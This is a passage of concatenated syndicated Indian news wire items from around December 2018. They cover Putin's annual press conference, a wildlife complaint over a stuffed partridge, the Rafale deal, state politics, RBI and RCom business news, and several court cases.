stuffed black partridge in violation of the Wildlife Protection Act, 1972. "We are examining the status of stuffed black partridge under the rules of the Wildlife Protection Act, 1972," Punjab Chief Wildlife Warden Kuldeep Kumar said Thursday. "We are examining all circulars, guidelines and rules pertaining to it to reach any conclusion," he further said. Asked if his department would be checking any violation of the Wildlife Protection Act, 1972, Kumar said, "Naturally, we have to ensure the law of the land with regard to the Wildlife Protection is complied with." Asked if any explanation has been sought from the minister, Kumar said, "No such thing as of now. First, we will examine this matter." Different species of the Indian black partridge are covered under Schedule 4 of the Wildlife Protection Act, 1972. When asked what would be the status of partridge brought from any other country, he said his department would examine the issue. Meanwhile, animal rights activist Naresh Kadyan Thursday again demanded that action be taken against Sidhu for the alleged violation of the Wildlife Protection Act. Kadyan alleged that Sidhu had violated the section 2 (hunting) and section 40 to 44 (declaration of animal trophy) of the Wildlife Protection Act. The activist further claimed that Sidhu had violated the Customs Act "by not declaring the bird trophy at Attari-Wagah border", alleging that the stuffed black partridge was "smuggled into India". Kadyan said he had lodged a complaint in this regard with the Ballabhgarh police station in Faridabad. Another Ludhiana-based activist Sandeep Jain, who has been demanding an investigation into the matter, said no transit permit was taken from the chief wildlife warden for bringing the stuffed bird into the state. Meanwhile, the Chandigarh Administration has told the Animal Welfare Board of India that the issue was inquired from the Punjab chief wildlife warden who said he was aware of the matter and the Chief Minister has sent the trophy to him for custody and appropriate action. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian President Vladimir Putin condemned the creation of a Ukrainian Orthodox Church independent of Moscow at his annual press conference on Thursday, saying it violated religious freedoms and drove a wedge between the nations. Orthodox bishops created the new Ukrainian church at a historic synod in Kiev on Saturday, ending more than 300 years of Moscow domination. The decision was welcomed by the US and Ukrainian President Petro Poroshenko. But Putin slammed the decision as a "blatant breach of religious freedoms". The Church's creation came after a landmark decision by Istanbul-based Ecumenical Patriarch Bartholomew I to recognise Ukraine's independence from the Russian Orthodox Church. The ruling in October sparked fury in Moscow, which has overseen the Ukrainian branch of Orthodoxy for the last 332 years. It led the Russian Orthodox Church to cut all ties with the Ecumenical Patriarchate of Constantinople. Putin on Thursday suggested that Bartholomew's "main motive" was to "subjugate" Ukraine. "It is also done with the aim of a further split between the peoples of Ukraine and Russia," he said. He also warned the decision would lead to a redistribution of Church property that could be "bloody". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian President Vladimir Putin issued a chilling warning Thursday about the rising threat of a nuclear war, saying "it could lead to the destruction of civilization as a whole and maybe even our planet" and putting the blame squarely on the US. Speaking at his annual conference, Putin scoffed at Western claims he wants to dominate the world and said Western countries are antagonizing Russia for their own domestic reasons, and at their own peril. He dismissed claims of Russian interference abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the U.S. National Rifle Association. Instead he sought to paint himself as the world's protector. Pointing at the U.S. intention to withdraw from the 1987 Intermediate-Range Nuclear Forces, or INF, Treaty, Putin warned that if the U.S. puts intermediate-range missiles in Europe, Russia will be forced to take countermeasures. "We are witnessing the breakup of the arms control system," Putin said, noting the U.S. plan to opt out of the INF Treaty and its reluctance to negotiate the extension of the New START agreement. U.S. officials say the withdrawal from the INF was prompted by Russian violations of the treaty. Putin noted that Western analysts are talking about the possibility of using low-yield nuclear weapons. "There is a trend of lowering the threshold" of using nuclear weapons, Putin said. "Lowering the threshold could lead to a global nuclear catastrophe." "We will have to ensure our security," he said. "And they shouldn't squeak later about us gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security." Putin also emphasized that the US is pondering the use of ballistic missiles with conventional warheads, saying that the launch of such a missile could be mistaken for the launch of a nuclear-tipped one and trigger a global catastrophe. "If that happens, it could lead to the destruction of civilization as a whole and maybe even our planet," he said. Putin also noted that the U.S. appears to show little interest in extending the New START nuclear arms reduction treaty, which expires in 2021. "You aren't interested, you don't need it? OK, we know how to ensure our security," he said. Putin said it's the U.S., not Russia, that's aspiring to dominate the world. He pointed at U.S. annual defense spending exceeding $700 billion, comparing it with Russia's military budget of $46 billion. He had one nice thing to say about the United States, however: He welcomed President Donald Trump's decision to withdraw the US military from Syria. The US "has done the right thing," Putin said, reaffirming the long-held Russian argument that the U.S. presence in Syria was illegitimate because it wasn't vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. Putin said accusations of Russian interference in the West were trumped-up. He insisted that a Russian woman in U.S. custody has not carried out any mission for the Russian government, even though she has pleaded guilty to acting as a covert agent of the government. Putin claimed that Maria Butina accused of trying to infiltrate the NRA and American conservative circles around the time of Trump's election made the guilty plea because of the threat of a long prison sentence in the case, which Putin described as fabricated. He described British accusations of Russian involvement in the poisoning of a former spy in Salisbury as part of Western efforts to isolate and weaken Russia. However, he voiced readiness to normalize ties after the poisoning of Sergei Skripal and his daughter in March. Putin showed no sign of backing down from Russia's stance on Ukraine. He accused his Ukrainian counterpart of provoking a naval standoff with Russia to boost his electoral prospects. The Russian coast guard fired upon and seized three Ukrainian naval vessels and 24 seamen when they tried to sail from the Black Sea into the Sea of Azov in what U.S. and its NATO allies condemned as unjustified use of force by Russia. On the economy, Putin hailed another year of Russian growth after a previous period of stagnation. Russia's gross domestic product is set to grow by 1.8 percent this year, while industrial output has grown faster at 3 per cent, he said. The Russian president noted that the nation's hard currency reserves have increased from $432 billion at the start of the year to $464 billion now. The positive statistics follow a difficult period in recent years when Russia's economy has suffered a combined blow of low oil prices and Western sanctions. Russia's economy registered 1.5-percent growth last year following the two-year stagnation. Putin pledged that the government will create incentives to speed up growth. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The world is facing a rising threat of a nuclear war because of the US pullout from arms control treaties and its destabilising military plans, Russian President Vladimir Putin said Thursday. Speaking at his annual conference, Putin warned that "it could lead to the destruction. of civilization as a whole and maybe even our planet." The Russian leader added that even though a nuclear conflict now seems impossible to most, the danger is close and real. "We are witnessing the breakup of the arms control system," he said. He pointed at Washington's intention to walk away from the 1987 Intermediate-Range Nuclear Forces Treaty and its reluctance to negotiate the extension of the 2010 New START agreement. US officials say the withdrawal from the INF was prompted by Russian violations of the treaty, but Moscow vehemently denies any breaches. "We will have to ensure our security," Putin said during the conference that lasted nearly four hours. "And they shouldn't squeak later about us gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security." The Russian leader also scoffed at Western allegations that he is reaching for global domination, rejecting them as part of a smear campaign driven by domestic policy. "As for ruling the world, we know where the headquarters trying to do that are located, and the place isn't Moscow," he said, noting that the Pentagon's annual budget of over USD 700 billion dwarfs Russia's defense spending of USD 46 billion. He dismissed claims that Russia is interfering abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the US National Rifle Association, charging that those accusations are part of US-led efforts to paint Russia as a bugaboo to strengthen the Western allies' unity. "They need an external threat to cement NATO unity," Putin said, accusing the US and its allies of exploiting "phobias of the past" to achieve domestic political goals. Russia's hopes for repairing ties with the US under President Donald Trump have fizzled amid allegations of Russian meddling in the 2016 election charges Putin has denied. He noted that he's still keeping the door open for a meeting with Trump, but added that the prospect for that looks increasingly dim in view of the Democrats winning control of the House. "You can predict new attacks on the president with 100-per cent probability," Putin said. "I don't know if he could engage in a direct dialogue with Russia in such conditions." He charged that that the continuing US political infighting reflects a "lack of respect for voters" who elected Trump. "They don't want to acknowledge his victory and do everything to delegitimise the president," Putin added. He insisted that a Russian woman in US custody has not carried out any mission for the Russian government, even though she pleaded guilty earlier this month to acting as a covert agent of the government. Putin claimed that Maria Butina accused of trying to infiltrate the NRA and American conservative circles around the time of Trump's election made the guilty plea because of the threat of a long prison sentence in the case, which Putin described as fabricated. Amid a litany of complaints over Washington's policies, Putin had one nice thing to say about the United States: He welcomed Trump's decision to withdraw the US military from Syria. The US "has done the right thing," Putin said, reaffirming the long-held Russian argument that the US presence in Syria is illegitimate because it wasn't vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. He showed no sign of backing down from Russia's stance on Ukraine, accusing his Ukrainian counterpart of provoking a naval standoff with Russia to boost his electoral prospects. The Russian coast guard fired upon and seized three Ukrainian naval vessels and 24 seamen when they tried to sail from the Black Sea into the Sea of Azov in what the US and its NATO allies condemned as unjustified use of force by Russia. Turning to nuclear weapons, Putin warned that if the US puts intermediate-range missiles in Europe after its planned exit from the INF Treaty banning them, Russia will be forced to take countermeasures. He noted that the US also appears to show little interest in extending the New START nuclear arms reduction treaty, which expires in 2021. "You aren't interested? You don't need it? OK, we will survive," he said. "We will ensure our security; we know how to do it. But it will be very bad for the whole of humankind, because it would take us to a very dangerous area." The Russian president pointed at Western defense analysts discussing the possibility of using low-yield nuclear weapons, warning that its authors naively believe in a limited conflict involving smaller weapons. "Lowering the threshold could lead to a global nuclear catastrophe," he said. Putin also emphasized that the US pondering the use of ballistic missiles with conventional warheads represents another deadly threat. He argued that the launch of such a missile could be mistaken for the launch of a nuclear-tipped one and trigger a nuclear retaliation. "Imagine a submarine firing a ballistic missile: How on Earth should we figure out whether it's nuclear or not?" he said. "It's extremely dangerous. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian President Vladimir Putin's special envoy Zamir Kabulov on Thursday held talks with Foreign Secretary Vijay Gokhale and other officials of the External Affairs Ministry on ways to bring peace and stability in war-ravaged Afghanistan. External Affairs Ministry Spokesperson Raveesh Kumar said both sides reiterated their support for an Afghan-led and Afghan-owned inclusive peace and reconciliation process. In the meetings, the Russian side briefed on their efforts to support Afghan peace process through Moscow format of talks. Kumar said it was agreed to maintain regular bilateral consultations and coordination including in the context of international fora with the shared objective to promote peace, security, stability, unity and prosperity in Afghanistan. "It was agreed to hold the next round of consultations in Moscow in 2019," he said. Kabulov held delegation-level talks with Joint Secretary (Pakistan, Afghanistan, Iran division) Deepak Mittal. He later met Gokhale. India has been actively involved in reconstruction activities in Afghanistan. Last month, India attended in a "non-official" capacity a conference under Moscow format of talks which was hosted by Russia and participated by the Taliban as well as representatives from several countries including Pakistan, China and Iran. India made it clear that its participation was in sync with its Afghan policy and asserted that attending the meeting was not talking to the Taliban at all. India's former envoy to Afghanistan Amar Sinha and former Indian High Commissioner to Pakistan T C A Raghavan were representing New Delhi in a "non-official" capacity. New Delhi's consistent policy has been that the peace talks should be Afghan-led, Afghan-owned, and Afghan-controlled and with participation of the government of Afghanistan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Russian President Vladimir Putin has welcomed the US decision to withdraw its forces from Syria. Speaking Thursday at his annual conference, Putin said he agrees with US President Donald Trump, who said Wednesday that the defeat of the Islamic State group removes the need for the U.S. military presence in the country. Putin reaffirmed the long-held Russian argument that the US presence in Syria is illegitimate because it hasn't been vetted by the UN Security Council or approved by Syrian President Bashar Assad's government. Putin added that "if the US decided to withdraw its contingent, it has done the right thing." Russia is a key ally of Assad, and its military intervention beginning in 2015 turned the tide of the war in his favour. The Russian leader says it remains to be seen if the US carries out its intention, noting Washington's repeated promises to end its 17-year presence in Afghanistan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress leader Prithviraj Chavan Thursday said alleged irregularities in the Rafale fighter jet deal will a major poll plank of his party in the upcoming Lok Sabha polls. He said the Supreme Court verdict in the mega defence deal can't be interpreted as a clean chit to the Narendra Modi government since the apex court was not an investigating agency. The Modi government is running a campaign to give an impression that the Supreme Court has given it a clean chit in the Rafale deal, the former Maharashtra chief minister told reporters here. "But we dont take the decision as a clean chit at all as the apex court is not an investigation agency," he added. "The issue has not ended yet. It is going to be one of the major poll planks for the Congress in the next year's general elections," the former Union minister added. He said in the inter-governmental agreement, the Modi government has agreed to pay Rs 36,000 crore more to France for buying Rafale jets which is a violation of existing norms. The higher purchasing price for the fighter jets will also affect the government's coffers, Chavan said. "Junior Defence Minister Subhash Bamre, while replying to a question in Parliament, had said the governments of India and France decided the price of a Rafale jet at Rs 670 crore." "The then Defence Minister Manohar Parrikar went to France and announced that it has been decided to buy 36 fighter jets for Rs 60,000 crore. This means the price of one fighter jet climbed up from Rs 670 crore to Rs 1,670 crore," the Congress leader said. "Our allegation is straight - the rise in cost by Rs 1,000 crore smacks of corruption," Chavan said. "The CBI or a Joint Parliamentary Committee (JPC) should probe into the Rs 36,000-crore irregularities," he added. Chavan said the ministers who are members of the Cabinet Committee on Security (CCS) should "break their silence" over the Rafale deal. The ruling Bharatiya Janata Party (BJP) and the Modi government have repeatedly denied any wrongdoing in the Rafale deal. Earlier this month, the SC had dismissed the petitions challenging the deal, saying there was no occasion to "really doubt the decision-making process" warranting setting aside of the contract. The apex court rejected the pleas, which sought lodging of an FIR and a court-monitored probe alleging irregularities in the Rs 58,000-crore deal. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Chief Minister Sarbananda on Thursday dubbed the Lok Sabha polls as a battle between an "honest, hardworking and committed" leader in Prime Minister Narendra and the head of a "corrupt" political party in He claimed at a BJP press conference that the Congress president will never become the country's prime minister, however much "he may dream". Citing the BJP's win in the recent local polls in the north eastern state and also the loss of Congress in assembly elections, said the region has expressed a vote of no confidence in the Congress which, he alleged, "looted it for 60 years". No prime minister has done as much for the region as has,he asserted,adding that it will soon become a main centre of business activities in India. " is president of a corrupt party. He will never be prime minister, however much he may dream, " he said. Under the government, more bridges have been built than earlier,he said,noting that Modi will also inaugurate the country's largest rail cum road bridge in on December 25. Since the BJP dispensation came to power in the state in 2016, it has detected 4 lakh bogus cards under the employment guarantee scheme, 2.63 lakh fake ration card, he said, alleging that the previous Congress government used them for corruption. In the recent zila parishad polls, the BJP won 222 of the total 420 seats against 15 it had won in 2013, he said. The Congress' tally fell to 147 from 273 earlier. Asked about the ongoing Register of Citizens process, which is meant to identify illegal immigrants,he said his government is guided by the Constitution in the exercise. At the press conference,BJP media head and member Anil Baluni referred to the party's clean sweep of the mayoral elections in Haryana Wednesday and hailed it as a " glorious win". The Thursday attacked senior ally BJP over the issue, saying the construction of at the disputed site has become another 'jumla' (rhetoric) for the party and it would lead to their ouster from power. The party said the BJP has not woken up despite its recent electoral defeats in three states and is not ready to learn from what RSS sarsanghchalak Mohan Bhagwat has to say in the context of teachings of the Bhagavad Gita (the Hindu scripture). There is pressure within the BJP to construct the in Ayodhya, but when will "achhe din" (good days) come for Lord Ram, the Sena asked. "Shree (Mohan) Bhagwat, while citing the Bhagavad Gita says what is the use of the arrogance (by saying) what 'I' do is the best. 'I' did this. He has given a guiding principle for the BJP," the Uddhav Thackeray-led party said. "But what is the use? This government, like Kumbhakarna (the demon king Ravana's brother known for sleeping for months at a stretch), is not ready to wake up even after humiliating defeats in three states," the Sena said in an editorial in party mouthpiece 'Saamana'. The BJP recently lost power to the Congress in the three electorally important states of Rajasthan, Madhya Pradesh and Chhattisgarh. The Sena said the whole country wanted the temple to be built and that was the reason it voted for the BJP in 2014. "However, as the issue too became another 'jumla' for the party, its journey for 'wapsi' (ouster from power) has begun," the party said. "When will achhe din come for Lord Ram, who is living in an open tent for the last 25 years while those in power are warming their seats," it said in sarcastic remarks. However, on Wednesday, speaking at an event organised by the Republic TV, BJP Chief said "If the conducts daily hearings of the Babri demolition case, it will not take more than 10 days to get a verdict." " is a title issue. The BJP clearly states that we want to build a temple on the same site. The case was pending before the SC much before 2014. We have requested the court to clear the case and complete its hearings at the earliest," Shah had said. The Sena claimed there was a lot of pressure within the BJP to construct the Questions over its construction are being raised in every meeting of the party but its high command has "no answers". "Internally, the party has become restless as the rulers do not have a proper plan," the Marathi daily claimed. The Sena, an ally of the BJP at the Centre and in Maharashtra, also demanded that cases against those who demolished the Babri mosque be withdrawn. "Leave aside bringing an ordinance for Ram temple. You have not even taken back cases against those who demolished the Babri Masjid. Now that the presidential elections are long over and Lal Krishna Advani isn't going to be the president, dissolve the Babri court," the Sena demanded. Advani was widely tipped as a front-runner for the post of President in July 2017 before a ruling in April that year on the Babri Masjid demolition case effectively ruled him out of the race. On April 19, 2017, the had said BJP stalwarts Advani, M M Joshi and Uma Bharti would be prosecuted for serious offence of criminal conspiracy in the politically-sensitive 1992 Babri Masjid demolition case and had ordered day-to-day hearing and trial concluded in two years. Thursday said he will meet representatives of private sector and cooperative next week to discuss issues and concerns. Das took over as 25th Governor of RBI last week following the abrupt exit of Urjit Patel ahead of schedule due to differences with the government. "Meetings with public sector completed. Shall meet representatives of private sector banks and cooperative banks next week," he tweeted. As part of the consultative process, Das finished meeting with the public sector lender on Wednesday. It is believed that heads of state-owned bankers discuss the issues related to relaxing the prompt corrective action (PCA) framework, liquidity and credit flows to MSMEs. Of the 21 state-owned banks, as many as 11 are under the PCA framework, which imposes lending and other restrictions on weak lenders. These are Allahabad Bank, United Bank of India, Corporation Bank, IDBI Bank, Uco Bank, Bank of India, Central Bank of India, Indian Overseas Bank, Oriental Bank of Commerce, and In the first meeting last Wednesday, the bankers had sought some easing in the one-day default norms announced by the RBI through the February 12 circular, which nullified all other debt resolution mechanisms. With its spectrum deal virtually in a limbo, Reliance Communications on Thursday urged the telecom department to grant it the "long-awaited no-objection certificate" to comply with the Supreme Court order in "letter and spirit". The statement came a day after senior officials of Reliance Communications and Reliance Jio met the Telecom Secretary to discuss outstanding issues raised by the Department of Telecom (DoT) over payment related to the spectrum sale deal between the two companies. The Anil Ambani-owned company Thursday said it remains committed to discharge any outstanding or disputed amount subject to final adjudication. In a statement, Reliance Communications asserted that the requirement of giving the bank guarantee as per the telecom department's demand has been substituted by the orders of the telecom tribunal and the Supreme Court, and that its unit Reliance Realty had provided a non-disposal undertaking and corporate guarantee. "Hence, compliance with the trading guidelines is met," RCom statement said. The DoT has, so far, held to its position that the deal cannot be cleared unless there is clarity on payment of dues and associated charges, particularly as the Mukesh Ambani-led Jio has refused to take any payment liability of his younger sibling's firm RCom to conclude the spectrum trading deal between the two firms. "Reliance Communications Limited, being a continuing licensee with the Department of Telecommunications (DoT), remains committed to discharge any outstanding or disputed amount subject to final adjudication. "The requirement of giving the Bank Guarantee as per DoT's demand has been substituted by the orders of the TDSAT (Telecom Disputes Settlement and Appellate Tribunal) and the Hon'ble Supreme Court, with Reliance Realty Limited providing a non-disposal undertaking and Corporate Guarantee," RCom said on Thursday. The firm said it is "sincerely hoping" that DoT would comply with the December 14 order of the Supreme Court in "letter and spirit" and "grant the long-awaited NOC/consent". The statement further noted that the National Company Law Appellate Tribunal (NCLAT) has adjourned the Ericsson matter to January 22, 2019 to take into consideration the outcome of the decision of the Supreme Court, where the related matter is pending consideration. "RITL (Reliance Infratel) Minority Investors' matter has also been adjourned to 22 January 2019. A copy of the detailed NCLAT order is awaited," it added. RCom has offered the telecom department corporate guarantee of Rs 1,400 crore issued by Reliance Realty Limited (RRL) and an undertaking from RRL not to alienate property for a value of Rs 1,400 crore, towards approving sale of its spectrum to Reliance Jio. DoT's reluctance to give a go-ahead to the spectrum deal arises from Jio's purported denial to take on past liabilities of RCom. The department had been of the opinion that under circumstance where both the parties are not in position to take the responsibility of payment of dues, the telecom department cannot take the deal on record. Ericsson and RITL have filed insolvency plea against RCom for failure to clear their dues. RCom has promised to clear them once its spectrum sale to Jio is completed. Last year, RCom signed a blockbuster deal with Reliance Jio for the sale of wireless spectrum, tower, fibre and media convergence nodes assets - the proceeds of which were to be used to pare its staggering Rs 46,000 crore debt. From that deal, RCom so far announced the completion of the sale of optical fibre assets worth Rs 3,000 crore and sale of its media convergence nodes worth Rs 2,000 crore to Reliance Jio Infocomm. RCom has promised to pay dues of Rs 550 crore to Swedish telecom equipment maker Ericsson, and about Rs 230 crore to Reliance Infratel minority stakeholders. The NCLAT has put on hold insolvency proceedings against RCom after the promise made by the company. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The BJP Thursday mocked RSLP chief and former Union minister Upendra Kushwaha for joining the UPA, describing the party (RSLP) as "ajooba" (peculiar) whose chief has gone into the Opposition camp while all three legislators and an MP were still "firmly with the NDA". The RLSP legislators in Bihar also affirmed that they were in the National Democratic Alliance (NDA) camp. "Both the MLAs and one MLC of the party (RLSP) have unanimously announced that we are with the NDA. We are with the coalition which RLSP has been a part of. Upendra Kushwaha has taken a decision at variance with the party's sentiments," party MLA Sudhanshu Shekhar told PTI over phone. "In fact, Kushwaha has gone against the party line and we would soon approach the Election Commission with our claim that we are the real RLSP. We have the support of many party leaders, including an MP," he said while declining to divulge any names. Speculations are rife that Shekhar, a first-term MLA who represents Harlakhi seat in Madhubani district, may get a ministerial berth in the state government headed by Nitish Kumar who was close to his deceased father Basant Kushwaha. The Rashtriya Lok Samta Party (RLSP) has two members in the state legislature - Lalan Paswan and Sudhanshu Shekhar - besides MLC Sanjiv Singh Shyam, all of whom had last week pledged their support to the NDA. Meanwhile, Bihar Deputy Chief Minister Sushil Kumar Modi, who is at present on a tour of the US, took to microblogging site Twitter for offering his caustic remark on the development. Upendra Kushwaha's move to join the United Progressive Alliance (UPA) was announced at the AICC headquarters in Delhi in the presence of senior Congress leaders like Ahmed Patel and Shaktisinh Gohil besides RJD heir apparent Tejashwi Yadav and Hindustani Awam Morcha founder Jitan Ram Manjhi, who are the other alliance partners of the UPA in Bihar. "Mamata Banerjee, Mayawati, Akhilesh Yadav and even Ajit Singh did not give any importance to the Congress despite its recent victory in three states. The party is being hailed by those in Bihar whose fate is hanging between the court of law and jail," Sushil Modi said in an obvious dig at the RJD which is the senior coalition partner, of the 'mahagathbandhan', in the state. Without naming Kushwaha or the RLSP, the BJP leader remarked, "An ajooba (peculiar) party has also joined the Grand Alliance... two MLAs, an MLC and an MP of which are firmly with the NDA". The RLSP has three members in the Lok Sabha, including Kushwaha, and one of them - Sitamarhi MP Ram Kumar Sharma - had initially favoured the party staying in the NDA. However, Sharma later changed his stance and spoke in favour of snapping of ties and stood beside Kushwaha in Delhi on December 10 when the latter announced his resignation from the Union council of ministers and exit from the NDA. Meanwhile, JD(U) national vice president Prashant Kishor called upon "existing and potential NDA allies" to make "joint efforts" for achieving victory in the Lok Sabha polls. "Joint efforts and collective strength of existing and potential NDA allies is key to the success in upcoming 2019 elections. All key constituents of the coalition must work toward this," Kishor, who was inducted into the party by its national president and Chief Minister Nitish Kumar three months ago, tweeted. Kishor's remark came at a time when discordant noises are being made by Ram Vilas Paswan's Lok Janshakti Party, another NDA ally which has been raising objections over the use of Ayodhya as a poll plank and expressing dissatisfaction with smaller parties having been ignored, while the JD(U) and the BJP reached an agreement to contest "an equal number of seats in the state". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Madras High Court Thursday granted anticipatory bail to film director A R Murugadoss in connection with a FIR filed over some dialogues in the Vijay-starrer 'Sarkar', which were critical of the welfare schemes of the ruling AIADMK. Justice G K Ilanthirayan, who granted anticipatory bail, directed Murugadoss to appear before the investigating officers in the case as and when required. The court on December 14 stayed the FIR against the director, observing that seeking an undertaking from film-makers to not criticise government policies and to apologise for such scenes in movies was equal to threatening the creators. Staying the FIR, Justice Anand Venkatesh said the censor board had already issued a certificate to the film and sought to know how a case could be filed against freedom of speech. Murugadoss had moved the court on December 12, seeking quashing of a case filed against him. Police registered the FIR under various sections of the Indian Penal Code, including 153 (wantonly giving provocation with intent to cause riot) and 153A(1)(a) (promoting enmity between different groups on grounds of religion, language etc.) against the director. The case was registered on a complaint by G Devarajan, who objected to some scenes, which, he said, were critical of the government's distribution of freebies such as grinders and mixies. AIADMK workers had staged protests against the film, which released last month, after several ministers took exception to scenes in it criticising welfare schemes and a reference to late chief minister J Jayalalithaa. Murugadoss had earlier sought protection from arrest as it would affect his freedom of expression guaranteed by the Constitution. Pointing out that disputed scenes in the movie had already been removed by the Board of Film Certification, the petitioner said no offence as claimed by the complainant was committed by him. Admitting the plea, the court passed oral orders not to arrest him till the plea reaches a logical conclusion. Opposing the plea, the state submitted that the scenes in dispute had created a law and order situation and it would not object to anticipatory bail being granted if the director undertakes not to criticise government policies in his movies. The demand for an undertaking was squarely refused by Murugadoss. When the plea came up Thursday, the court concurred with the submissions of the director and granted him anticipatory bail with a direction to appear before the investigating officer whenever summoned. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Pejawar mutt chief Vishwesha Teertha Swamiji Thursday asked his disciple and Union Minister Uma Bharti to "balance between her work and her passion" while taking up the issue of clean Ganga. The octogenerian pontiff said he has heard that Bharti, handling the portfolio of Drinking Water and Sanitation, has decided to camp on the banks of the Ganga every night for one-and-a-half years. He said he appreciated the vow and offered his blessings for her "sacred intention." "However, my instructions to her would be to take a flexible stance towards her pledge. She should be spending maximum time on the banks of the Ganga, but she has to also respect the call of duty," the Udupi-based mutt swamiji said in a statement. She should be ready to break her vow with the Ganga only for the sake of work when her presence is important elsewhere. "I feel she should balance herself between her work and her passion as she is a Karmayogi," the seer said. Announcing her decision not to contest the next Lok Sabha elections, Bharti said recently that she would set out on a 2,500-km yatra (pilgrimage) along the Ganga on foot from Makar Sankranti in January next year for nearly one-and-a-half years by "leaving power." "I believe that one has to go to the banks of the Ganga river by leaving power and I am doing so for next one-and-a-half years. But I will be campaigning and would do politics till my last and that too with energy," Bharti said. Bharti, who had accepted the Pejawar mutt chief as her Guru, is currently taking the initiative for the felicitation programme to celebrate completion of eight decades of the seers initiation to asceticism to be held at Sri Krishna mutt in neighbouring Udupi district on December 27. President Ram Nath Kovind, Karnataka Chief Minister H D Kumaraswamy, Nagaland governor Padmanabha Acharya and several other dignitaries will attend the programme, besides Bharti, according to the organisers. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Seven people were taken into preventive custody Thursday for allegedly indulging in unlawful activities in Rajouri district of Jammu and Kashmir, police said. They have been lodged in the district jail on the orders of executive magistrates, said Senior Superintendent of Police (SSP), Rajouri, Yougal Manhas. He said while six men were detained from Rajouri town, two others were taken into custody from the Nowshera area of the district. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Madras High Court Thursday took serious view of bail granted by a lower court to two people arrested in connection with alleged sexual harassment of some kindergarten students by several people. The court also directed the additional public prosecutor to take steps for cancelling it. Justice Anand Venkatesh issued the interim order during the hearing of a petition from K Jagan Babu seeking a CB-CID or a SIT (special investigation team) probe into the alleged sexual harassment of the students, both boys and girls, by an attendant of their private school bus and others. The incident came to light in July. The Mahila Court judge had recently granted bail to the accused, including a woman also an attendant of the bus. The counsel for the petitioner, whose four-year-old son was a victim, submitted that not only the male bus attendant but several people were involved in the assault of his son and some other students. He said the boy had stated he was sexually assaulted by various people, including a "white skinned" and on one occasion when he saw some foreign nationals, he was frightened and started crying. Taking note of the submissions, Justice Venkatesh observed that the statement of the child itself was adequate for conviction. The petitioner also submitted that a complaint under Protection of Children from Sexual Offences Act (POCSO) was lodged with police on July 25 last. He said the offence came to light when he saw a change in his son's behaviour and enquired with him. The child then said there was another boy who had also been a victim of the alleged harassment. Later he came to know that some other boys and girls were also subjected to sexual assault by various people. He alleged that at the behest of the school, attempts were made to influence him to withdraw his police complaint and he was allegedly threatened by rowdy elements. The petitioner further said even when the children were admitted for a medical check, a threat issued to the hospital not to pursue the case. Contending that the investigation officer failed to follow the provisions of the POCSO Act in the case, the petitioner sought for the transfer of investigation to the CB-CID or the SIT. Justice Venkatesh directed the additional public prosecutor to take steps for cancellation of the bail granted to the two accused and ordered the Investigation Officer, who was present in the court, to file a status report, giving details of the probe. He also directed the Special Judge of Mahila Court, who granted the bail recently, to submit a report specifying the stand taken by the prosecution during the hearing of the petitions by the accused for the relief. The judge than posted the matter to January 3 next for further hearing. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Over 5,000 survivors of sexual violence across the country Thursday embarked on a 65-day-long 'Dignity March' from the city, which will culminate in New Delhi on February 22, its organisers said. The march has been organised by Rashtriya Garima Abhiyan, a group of NGOs. It will cover 200 districts across 24 states/union territories and traverse over 10,000 kms. Abhiyan's convener Ashif Sheikh said over 5,000 survivors of sexual assault will highlight their plight through this "unique and first of its kind" march. "The march eyes to end shaming and stigmatisation of the survivors of rape and sexual violence. The survivors, along with their families and other social actors will create a 'national survivor network' to ensure their participation in framing of policies and implementation of laws and guidelines against sexual violence," he said. Actors Tisca Chopra and Sudha Chandran, Stop Acid Attacks campaigner Laxmi Agarwal, activist and gang-rape survivor Bhanwari Devi, CEO of EdelGive Foundation Vidya Shah, Centre for Law and Policy Research's Jayna Kothari, among others, were present at the launch of the march at Somaiya Ground here. On Wednesday, on the eve of the march, dozens of rape and trafficking victims, including activist and gang-rape Bhanwari Devi, addressed a press conference here and demanded that the Centre, the state governments as well as the law enforcing agencies need to protect the dignity and "womanhood" of such survivors. "By organising and taking part in this march, we want to show a mirror to all the governments that nothing has changed and if a victim like us dare to protest against sexual violence, we still have to go through several ordeals. We want each and every rapist to be put behind bars and survivors should hold their heads high," Bhanwari Devi said. Another woman, who was subjected to rape in a jail in Baitul district of Madhya Pradesh, said she was still paying the price for protesting against sexual offences. She added that she is "socially outcast" wherever she goes. "At a time when everyone should lend support to us (rape survivors), we are singled out and ostracised. But we are not going to be defeated," she said. Sheikh said in most cases of sexual violence, the survivors are held responsible, blamed and stigmatised. "Through this Dignity March, we want to sensitise the people and change their mindset to end the stigmatisation of survivors," Sheikh said. The march will take forward the #MeToo campaign at the ground level, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP chief Amit Shah and Uttar Pradesh Chief Minister Yogi Adityanath are likely to participate in a meeting of Hindu religious leaders at Rajkot, Gujarat where several issues including the Ram temple are being discussed. Rashtriya Swayamsevak Sangh (RSS) chief Mohan Bhagwat and BJP's national general secretary Ram Madhav are also participating in the two-day meeting, which began at Arsh Vidya Mandir this morning. The 'Chintan Baithak' (brain-storming meet) has religious leaders associated with the Rashtriya Swayamsevak Sangh (RSS) and the Vishwa Hindu Parishad as participants. "Every two years, the Hindu Acharya Sabha which consists of top religious heads of various Hindu sects organises this Baithak," RSS Gujarat spokesperson Vijay 